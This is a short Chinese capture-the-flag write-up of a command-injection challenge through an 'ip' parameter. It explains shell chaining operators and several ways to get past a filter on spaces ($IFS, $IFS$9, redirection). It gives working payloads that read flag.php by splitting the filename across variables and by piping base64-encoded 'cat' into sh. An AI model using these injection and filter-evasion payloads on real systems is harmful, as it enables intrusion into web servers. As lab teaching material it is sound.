首先命令注入拼接符:
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server & && 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’ | 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail” ; 分号表示命令依次执行。
进入题目 ,看到/?ip=
猜测命令注入:
尝试用| ls回显得知 index.php 和 flag.php

尝试用cat命令读取flag.php,提示有空格,空格被过滤了:

接下来就是如何绕过空格?
Linux中:
cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt #$9为空字符 cat<flag.txt cat<>flag.txt Kg=$’\x20flag.txt’&&cat$kg
Windows中:
Type.\flag.txt Type,flag.txt
有过滤,先查看index.php中的过滤规则
?ip=127.0.0.1;cat$IFS$9index.php

发现过滤了符号,空格
而且还贪婪匹配了flag
//表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
解题方法:
1,变量拼接:
pyload:
?Ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b
2,使用sh
构造的pyload: ?Ip=127.0.0.1;echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh #通过管道 将cat flag.php加密,传给base64 -d 解码模式,再传给sh执行 但是空格被过滤,所以把所有的空格换成$IFS$9,即: ?Ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh